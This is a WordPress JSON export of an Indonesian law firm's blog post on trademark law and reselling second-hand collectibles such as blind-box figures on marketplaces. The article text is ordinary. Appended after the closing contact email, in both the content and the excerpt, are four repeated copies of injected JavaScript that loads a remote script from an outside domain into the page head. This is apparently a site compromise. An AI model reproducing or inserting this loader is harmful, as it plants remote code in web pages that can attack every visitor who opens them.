{"id":5635,"date":"2025-05-23T11:06:44","date_gmt":"2025-05-23T11:06:44","guid":{"rendered":"https:\/\/affa.co.id\/?p=5635"},"modified":"2025-05-23T11:06:44","modified_gmt":"2025-05-23T11:06:44","slug":"menjual-barang-koleksi-di-marketplace-kena-take-down-karena-melanggar-kekayaan-intelektual-kok-bisa","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/05\/23\/menjual-barang-koleksi-di-marketplace-kena-take-down-karena-melanggar-kekayaan-intelektual-kok-bisa\/","title":{"rendered":"Menjual Barang Koleksi di Marketplace Kena Take Down Karena Melanggar Kekayaan Intelektual &#8211; Kok Bisa?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Komunitas mainan <\/span><i><span style=\"font-weight: 400\">action figure<\/span><\/i><span style=\"font-weight: 400\"> belakangan dihebohkan dengan dirazianya sejumlah produk populer di platform <\/span><i><span style=\"font-weight: 400\">e-commerce<\/span><\/i><span style=\"font-weight: 400\">. Tidak hanya penjual tidak resmi, seperti kolektor musiman, <\/span><i><span style=\"font-weight: 400\">reseller<\/span><\/i><span style=\"font-weight: 400\"> resmi yang sudah mengikuti prosedur pendaftaran <\/span><b><i>\u201cwhite list\u201d<\/i><\/b><span style=\"font-weight: 400\"> pun ikut terkena dampaknya. Pemicunya adalah sebuah surat resmi dari Pemegang Merek (distributor yang sudah membeli lisensi dari Pemilik Merek), yang melarang berbagai bentuk penggunaan nama, logo, hingga penjualan item yang sudah dibuka dari kemasannya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Fenomena ini menimbulkan pertanyaan di benak banyak pelaku usaha dan kolektor: Apakah Pemegang Hak Kekayaan Intelektual (HAKI) bisa semena-mena melarang penjualan barang <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\">? Apakah tindakan ini legal?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Hak Eksklusif Pemegang Merek<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Secara umum, pemegang Hak Merek memang memiliki Hak Eksklusif untuk mengontrol penggunaan Mereknya, termasuk dalam konteks pemasaran dan distribusi produk. Namun, perlu dicatat:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">HAKI tidak secara otomatis melarang penjualan barang <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\"> (barang bekas) selama barang tersebut merupakan produk asli yang diperoleh secara sah.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dalam prinsip yang dikenal sebagai <\/span><b><i>\u201cexhaustion doctrine<\/i><\/b><i><span style=\"font-weight: 400\">,<\/span><\/i><b><i>\u201d<\/i><\/b><span style=\"font-weight: 400\"> hak Pemegang Merek dianggap telah &#8220;habis&#8221; setelah produk dijual secara sah untuk pertama kalinya. Ini berarti, pemilik barang sah boleh menjual kembali produknya.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Akan tetapi<\/span><span style=\"font-weight: 400\">, Pemegang Merek memang berhak untuk membatasi penggunaan Merek dalam konteks branding toko, kemasan ulang, atau penggunaan logo secara komersial yang dapat menyesatkan konsumen atau merusak citra Merek.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Maka, melarang penjualan barang <\/span><i><span style=\"font-weight: 400\">second <\/span><\/i><span style=\"font-weight: 400\">hanya karena itu barang bekas bisa diperdebatkan secara hukum. Tetapi melarang penggunaan logo, nama Merek, dan elemen visual lain untuk tujuan komersil tanpa izin adalah sesuatu yang sah menurut hukum.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tips Aman Menjual Barang <\/b><b><i>Second <\/i><\/b><b>Tanpa Melanggar HAKI<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Agar tidak melanggar hak Pemegang Merek ketika menjual barang koleksi atau produk <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\">, berikut beberapa langkah aman yang bisa Anda ikuti:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Hindari penggunaan logo atau nama Merek di judul toko Anda.<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Gunakan deskripsi netral seperti \u201ckoleksi mainan blindbox\u201d atau \u201cfigure random rare.\u201d<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Jelaskan bahwa produk adalah milik pribadi dan dijual sebagai barang bekas.<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Menyebut bahwa produk berasal dari koleksi pribadi dapat membantu menegaskan tidak adanya niat melanggar distribusi resmi.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Jangan modifikasi atau<\/b><b><i> rebrand<\/i><\/b><b> produk.<br \/>\n<\/b>Mengemas ulang atau menambahkan elemen baru (misalnya stiker brand sendiri) dapat dianggap pelanggaran.<\/li>\n<li style=\"font-weight: 400\"><b>Hindari membuat kesan bahwa Anda adalah distributor resmi.<br \/>\n<\/b>Jika Anda bukan bagian dari jalur distribusi resmi, jangan menggunakan istilah-istilah seperti \u201c<i>official<\/i>,\u201d \u201cresmi,\u201d atau sejenisnya.<\/li>\n<li style=\"font-weight: 400\"><b>Hindari menjual isi blindbox secara terbuka jika hal ini memang dilarang oleh pemegang Merek.<br \/>\n<\/b>Jika produk dirancang untuk bersifat<i> \u201csurprise\u201d (random)<\/i>, membuka dan menjual ulang dengan nama karakter tertentu dapat dianggap melanggar nilai komersial produk.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Lalu Kenapa Banyak yang Bebas Jual iPhone <\/b><b><i>Second<\/i><\/b><b>?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Membandingkan praktek keduanya kemudian muncul ke permukaan dan menjadi perdebatan yang menarik. Karena masih banyak kita temui orang yang menjual ponsel seperti <\/span><b>iPhone<\/b><span style=\"font-weight: 400\"> secara bebas di toko online tanpa masalah. Apa perbedaannya?<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Apple atau produsen ponsel lainnya tidak melarang penjualan barang <\/span><i><span style=\"font-weight: 400\">second <\/span><\/i><span style=\"font-weight: 400\">selama barang tersebut asli dan tidak diubah.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Produk seperti iPhone tidak dirancang sebagai &#8220;koleksi kejutan&#8221; seperti <\/span><i><span style=\"font-weight: 400\">blindbox<\/span><\/i><span style=\"font-weight: 400\">, sehingga tidak ada kekhawatiran nilai eksklusivitas rusak akibat <\/span><i><span style=\"font-weight: 400\">unboxing<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penjual iPhone <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\"> umumnya juga tidak mengklaim dirinya sebagai distributor resmi, dan tidak memakai logo Apple untuk branding toko.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Artinya, yang menjadi titik krusial bukan pada barang <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\">-nya, tapi konteks penggunaan Merek dan strategi pemasaran penjual.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pada akhirnya penjualan barang <\/span><i><span style=\"font-weight: 400\">second<\/span><\/i><span style=\"font-weight: 400\"> sah dilakukan, asalkan produknya asli, dan tidak menyesatkan konsumen dengan penggunaan Merek yang melanggar. Bagi para kolektor dan pelaku usaha, penting untuk memahami batasan HAKI agar bisa tetap berjualan tanpa terkena <\/span><i><span style=\"font-weight: 400\">takedown<\/span><\/i><span style=\"font-weight: 400\"> atau somasi.<\/span><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait pemanfaatan Merek dalam jual-beli online, langsung hubungi kami melalui email <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Komunitas mainan action figure belakangan dihebohkan dengan dirazianya sejumlah produk populer di platform e-commerce. Tidak hanya penjual tidak resmi, seperti kolektor musiman, reseller resmi yang sudah mengikuti prosedur pendaftaran \u201cwhite list\u201d pun ikut terkena dampaknya. Pemicunya adalah sebuah surat resmi dari Pemegang Merek (distributor yang sudah membeli lisensi dari Pemilik Merek), yang melarang berbagai bentuk penggunaan nama, logo, hingga penjualan item yang sudah dibuka dari kemasannya. &nbsp; Fenomena ini menimbulkan pertanyaan di benak banyak pelaku usaha dan kolektor: Apakah Pemegang Hak Kekayaan Intelektual (HAKI) bisa semena-mena melarang penjualan barang second? Apakah tindakan ini legal? &nbsp; Hak Eksklusif Pemegang Merek &nbsp; Secara umum, pemegang Hak Merek memang memiliki Hak Eksklusif untuk mengontrol penggunaan Mereknya, termasuk dalam konteks pemasaran dan distribusi produk. Namun, perlu dicatat: &nbsp; HAKI tidak secara otomatis melarang penjualan barang second (barang bekas) selama barang tersebut merupakan produk asli yang diperoleh secara sah. Dalam prinsip yang dikenal sebagai \u201cexhaustion doctrine,\u201d hak Pemegang Merek dianggap telah &#8220;habis&#8221; setelah produk dijual secara sah untuk pertama kalinya. Ini berarti, pemilik barang sah boleh menjual kembali produknya. Akan tetapi, Pemegang Merek memang berhak untuk membatasi penggunaan Merek dalam konteks branding toko, kemasan ulang, atau penggunaan logo secara komersial yang dapat menyesatkan konsumen atau merusak citra Merek. &nbsp; Maka, melarang penjualan barang second hanya karena itu barang bekas bisa diperdebatkan secara hukum. Tetapi melarang penggunaan logo, nama Merek, dan elemen visual lain untuk tujuan komersil tanpa izin adalah sesuatu yang sah menurut hukum. &nbsp; Tips Aman Menjual Barang Second Tanpa Melanggar HAKI &nbsp; Agar tidak melanggar hak Pemegang Merek ketika menjual barang koleksi atau produk second, berikut beberapa langkah aman yang bisa Anda ikuti: &nbsp; Hindari penggunaan logo atau nama Merek di judul toko Anda. Gunakan deskripsi netral seperti \u201ckoleksi mainan blindbox\u201d atau \u201cfigure random rare.\u201d Jelaskan bahwa produk adalah milik pribadi dan dijual sebagai barang bekas. Menyebut bahwa produk berasal dari koleksi pribadi dapat membantu menegaskan tidak adanya niat melanggar distribusi resmi. Jangan modifikasi atau rebrand produk. Mengemas ulang atau menambahkan elemen baru (misalnya stiker brand sendiri) dapat dianggap pelanggaran. Hindari membuat kesan bahwa Anda adalah distributor resmi. Jika Anda bukan bagian dari jalur distribusi resmi, jangan menggunakan istilah-istilah seperti \u201cofficial,\u201d \u201cresmi,\u201d atau sejenisnya. Hindari menjual isi blindbox secara terbuka jika hal ini memang dilarang oleh pemegang Merek. Jika produk dirancang untuk bersifat \u201csurprise\u201d (random), membuka dan menjual ulang dengan nama karakter tertentu dapat dianggap melanggar nilai komersial produk. &nbsp; Lalu Kenapa Banyak yang Bebas Jual iPhone Second? &nbsp; Membandingkan praktek keduanya kemudian muncul ke permukaan dan menjadi perdebatan yang menarik. Karena masih banyak kita temui orang yang menjual ponsel seperti iPhone secara bebas di toko online tanpa masalah. Apa perbedaannya? &nbsp; Apple atau produsen ponsel lainnya tidak melarang penjualan barang second selama barang tersebut asli dan tidak diubah. Produk seperti iPhone tidak dirancang sebagai &#8220;koleksi kejutan&#8221; seperti blindbox, sehingga tidak ada kekhawatiran nilai eksklusivitas rusak akibat unboxing. Penjual iPhone second umumnya juga tidak mengklaim dirinya sebagai distributor resmi, dan tidak memakai logo Apple untuk branding toko. &nbsp; Artinya, yang menjadi titik krusial bukan pada barang second-nya, tapi konteks penggunaan Merek dan strategi pemasaran penjual. &nbsp; Pada akhirnya penjualan barang second sah dilakukan, asalkan produknya asli, dan tidak menyesatkan konsumen dengan penggunaan Merek yang melanggar. Bagi para kolektor dan pelaku usaha, penting untuk memahami batasan HAKI agar bisa tetap berjualan tanpa terkena takedown atau somasi. Jika Anda membutuhkan informasi lebih lanjut terkait pemanfaatan Merek dalam jual-beli online, langsung hubungi kami melalui email trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5637,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[298,305,306,307,308,309,310,314,317,318,368,572,573,574,575,576],"class_list":["post-5635","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-trademark","tag-pelanggaran","tag-action-figure","tag-blokees","tag-dilarang","tag-e-commerce","tag-online"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5635","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5635"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5635\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5637"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5635"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5635"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5635"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}